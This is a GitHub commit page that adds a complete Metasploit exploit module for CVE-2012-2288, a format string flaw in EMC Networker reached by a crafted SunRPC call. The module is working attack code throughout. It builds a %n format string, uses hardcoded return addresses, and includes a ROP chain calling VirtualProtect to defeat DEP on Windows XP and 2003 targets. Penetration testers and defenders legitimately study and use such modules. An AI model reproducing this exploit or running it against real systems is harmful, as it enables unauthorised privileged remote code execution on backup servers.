Skip to content

Commit b8eea10

Browse files
author
jvazquez-r7
committed
Added module for CVE-2012-2288 EMC Networker Format String
1 parent d4fc99e commit b8eea10

File tree

1 file changed

+118
-0
lines changed

1 file changed

+118
-0
lines changed
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::SunRPC
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'EMC Networker Format String',
18+
'Description' => %q{
19+
This module exploits a format string vulnerability in the lg_sprintf function
20+
as implemented in liblocal.dll on EMC Networker products. This module exploits the
21+
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
22+
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
23+
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
24+
},
25+
'Author' =>
26+
[
27+
'Aaron Portnoy', # Vulnerability Discovery and analysis
28+
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2012-2288' ],
34+
[ 'OSVDB', '85116' ],
35+
[ 'BID', '55330' ],
36+
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
37+
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
38+
],
39+
'Platform' => [ 'win' ],
40+
'Payload' =>
41+
{
42+
'BadChars' => "\x00\x0d\x0a\x25\x2a",
43+
'DisableNops' => true,
44+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
45+
},
46+
'Targets' =>
47+
[
48+
['EMC Networker 7.6 SP3 / Windows XP SP3',
49+
{
50+
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
51+
'Offset' => 156
52+
}
53+
],
54+
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
55+
{
56+
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
57+
'Offset' => 156
58+
}
59+
]
60+
],
61+
'DefaultTarget' => 1,
62+
'Privileged' => true,
63+
'DisclosureDate' => 'Aug 29 2012'))
64+
65+
end
66+
67+
def exploit
68+
69+
begin
70+
if (not sunrpc_create('tcp', 0x5F3DD, 2))
71+
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
72+
end
73+
74+
fs = "%n" * target['Offset']
75+
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
76+
if target.name =~ /Windows 2003/
77+
rop_gadgets =
78+
[
79+
# rop chain generated with mona.py
80+
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
81+
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
82+
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
83+
0xfffffdff, # Value to negate, will become 0x00000201
84+
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
85+
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
86+
0xffffffff, #
87+
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
88+
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
89+
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
90+
0xffffffc0, # Value to negate, will become 0x00000040
91+
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
92+
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
93+
0x7c38ecfe, # &Writable location [MSVCR71.dll]
94+
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
95+
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
96+
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
97+
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
98+
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
99+
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
100+
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
101+
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
102+
].pack("V*")
103+
fs << rop_gadgets
104+
end
105+
fs << payload.encoded
106+
107+
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
108+
sunrpc_call(6, xdr)
109+
sunrpc_destroy
110+
111+
rescue Rex::Proto::SunRPC::RPCTimeout
112+
print_error('RPCTimeout')
113+
rescue EOFError
114+
print_error('EOFError')
115+
end
116+
end
117+
118+
end

0 commit comments

Comments
 (0)